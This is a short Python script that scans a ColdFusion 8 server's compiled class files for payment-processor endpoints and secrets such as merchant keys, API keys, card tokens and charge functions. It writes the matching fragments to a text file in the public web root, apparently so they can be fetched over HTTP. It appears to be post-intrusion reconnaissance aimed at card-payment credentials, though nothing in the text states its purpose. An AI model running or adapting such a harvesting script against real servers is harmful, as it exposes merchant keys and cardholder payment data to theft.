
import re,glob,os,traceback
out=[]
try:
    d=glob.glob("/opt/coldfusion8/wwwroot/WEB-INF/cfclasses/*.class")
    out.append("num classes: "+str(len(d)))
    urls=set(); pats=re.compile(rb"(https?://[a-zA-Z0-9./_\-]+|datacap|netepay|/api/|cc_vendors|cc_tokens|DC4|chargeCard|authorizeCard|api\.key|merchant_key|shop_id)",re.I)
    # scan ALL classes for URLs and key fragments, attributing by name
    for p in d:
        try:
            b=open(p,"rb").read()
        except Exception:
            continue
        names=[os.path.basename(p)]
        for m in pats.finditer(b):
            frag=b[max(0,m.start()-25):m.end()+35]
            s=frag.decode("latin1","replace").replace("\n"," ")
            out.append(names[0]+" :: "+s)
    open("/opt/coldfusion8/wwwroot/dc2.txt","w").write("\n".join(out))
except Exception:
    out.append("EXC:\n"+traceback.format_exc())
    open("/opt/coldfusion8/wwwroot/dc2.txt","w").write("\n".join(out))
